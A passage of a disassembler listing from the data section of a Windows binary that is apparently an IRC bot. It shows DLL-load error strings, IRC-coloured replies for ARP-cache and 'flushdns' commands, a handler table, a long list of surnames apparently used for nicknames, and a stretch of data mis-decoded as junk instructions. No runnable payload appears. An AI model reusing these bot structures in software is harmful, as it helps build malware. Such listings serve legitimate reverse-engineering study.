aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
align 10h
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
align 10h
a_: ; DATA XREF: sub_41036B+252o
unicode 0, <.>,0
unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o
; sub_40C2AF+38o
aReal db 'real',0
align 4
dd 0
dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o
off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r
aConst db 'const',0
align 10h
dd 1, 40AB19h, 7474656Ch, 7265h, 0
dd 2, 40AB77h, 706D6F63h, 2 dup(0)
dd 3, 40ABC4h, 6E756F63h, 797274h, 0
dd 4, 40AC62h, 736Fh, 2 dup(0)
dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
dd 6, 40AEEDh
off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
; ---------------------------------------------------------------------------
loc_42E3C8: ; CODE XREF: ___:loc_42E3C8j
js short loc_42E3C8
inc edx
add [esi+edi*8+42h], ch
add [eax-2], ah
inc edx
add [esi+edi*8+42h], dl
add [eax-2], cl
inc edx
add [esi+edi*8], bh
inc edx
add [esi+edi*8], dh
inc edx
add [esi+edi*8], ch
inc edx
add [esi+edi*8], ah
inc edx
add [esi+edi*8], bl
inc edx
add [esi+edi*8], dl
inc edx
add [esi+edi*8], al
inc edx
add ah, bh
std
inc edx
add al, dh
std
inc edx
add al, ch
std
inc edx
add al, ah
std
inc edx
add al, bl
std
inc edx
add al, dl
std
inc edx
add ah, al
std
inc edx
add [eax-4FFFBD03h], bh
std
inc edx
add [ebp+edi*8-263FFBEh], ah
inc edx
add [eax-7BFFBD03h], dl
std
inc edx
add [ebp+edi*8+42h], bh
add [eax-3], dh
inc edx
add [ebp+edi*8+42h], ah
add [ebp+edi*8+42h], bl
add [eax-3], dl
inc edx
add [eax-3], cl
inc edx
add [eax-3], al
inc edx
add ds:0FD280042h[edi*8], dh
inc edx
add [eax], ah
std
inc edx
add [eax], bl
std
inc edx
add ds:0FD0C0042h[edi*8], dl
inc edx
; ---------------------------------------------------------------------------
db 0
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
